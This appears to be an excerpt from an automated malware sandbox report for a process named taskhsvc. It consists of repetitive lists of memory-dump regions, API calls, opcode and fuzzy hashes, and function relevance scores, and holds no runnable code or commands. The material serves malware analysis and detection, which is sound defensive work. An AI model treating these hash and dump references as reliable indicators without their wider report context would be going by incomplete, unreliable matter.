                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failmemcmp
                                                                                                                          • String ID: m$@
                                                                                                                          • API String ID: 1611709857-1134311889
                                                                                                                          • Opcode ID: 592a79efa0eea18dd54a61ffb2b8c1bb911f58b6148fffe3947ca2a8d9d8ca49
                                                                                                                          • Instruction ID: 7396fabc89bcc0ffb5dcbbb2d98973424e57d15aba1e0fff05eec80408694f45
                                                                                                                          • Opcode Fuzzy Hash: 592a79efa0eea18dd54a61ffb2b8c1bb911f58b6148fffe3947ca2a8d9d8ca49
                                                                                                                          • Instruction Fuzzy Hash: 57412B74A08719CFDB10DF64C890B99F7F5BF89318F00C999A8A8A7340D774DA448F62
                                                                                                                          Function 00C9701D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • time.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00C346EC), ref: 00C9703A
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C97096
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C9707C
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$aborttime
                                                                                                                          • String ID: Di$J6
                                                                                                                          • API String ID: 343379102-2752649732
                                                                                                                          • Opcode ID: 1e9086251d64e410fc307d2ec095ee43931f9e0e57a720cd7882da33bcbdcaff
                                                                                                                          • Instruction ID: c5a710e3212fba0b0521fc0a538f0026b03515ad74887a8a404abb8a14f951a3
                                                                                                                          • Opcode Fuzzy Hash: 1e9086251d64e410fc307d2ec095ee43931f9e0e57a720cd7882da33bcbdcaff
                                                                                                                          • Instruction Fuzzy Hash: 9001F6B4918215AFCB00EFB5D5456AEBBF0EF44354F01E819A4A4AB241D778DA81CFA1
                                                                                                                          Function 00D4E04A Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 32COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D4E0EC), ref: 00D4E0B0
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID: 0$127.0.0.1$<null>$???
                                                                                                                          • API String ID: 4216919130-554357895
                                                                                                                          • Opcode ID: 4ac74d79527bd84f252f716a2671d4163ec9bcdb51ed10fc7a7b358a08da2445
                                                                                                                          • Instruction ID: 0fd2d3270d0bd80e809f7a396abf6f668e352513e83315efdbfe2adac3492e82
                                                                                                                          • Opcode Fuzzy Hash: 4ac74d79527bd84f252f716a2671d4163ec9bcdb51ed10fc7a7b358a08da2445
                                                                                                                          • Instruction Fuzzy Hash: 27F0B6B0E05209AFDB00DF6AC54165EB7F1BB88340F409429E964AB200D2B5D9128FA1
                                                                                                                          Function 00BF305C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 30COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BF30C5
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00BF30B2
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abort
                                                                                                                          • String ID: ($2$CR15
                                                                                                                          • API String ID: 1190921433-3259832885
                                                                                                                          • Opcode ID: b36607268a486ab76071f59c9caac410e24c43cbab71f45fb3d2d23d8fcd01f7
                                                                                                                          • Instruction ID: 2423dad4d745154a418c9f70faa3b11759a7a4eefbacc1bf507cbe1fff205c40
                                                                                                                          • Opcode Fuzzy Hash: b36607268a486ab76071f59c9caac410e24c43cbab71f45fb3d2d23d8fcd01f7
                                                                                                                          • Instruction Fuzzy Hash: FFF06D74A002059FCB00EF65D04246EBBF1EF44304F40D86AE884EB304C738EA46CF62
                                                                                                                          Function 00C100AC Relevance: 8.0, APIs: 5, Instructions: 470COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C3F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C26074), ref: 00C3F7B2
                                                                                                                            • Part of subcall function 00BE21C4: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C173A0), ref: 00BE21F7
                                                                                                                          • abort.MSVCRT ref: 00C101A8
                                                                                                                            • Part of subcall function 00C26A7E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,00C1058B), ref: 00C26B27
                                                                                                                            • Part of subcall function 00C0F78C: __stack_chk_fail.LIBSSP-0 ref: 00C0F826
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C1081D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
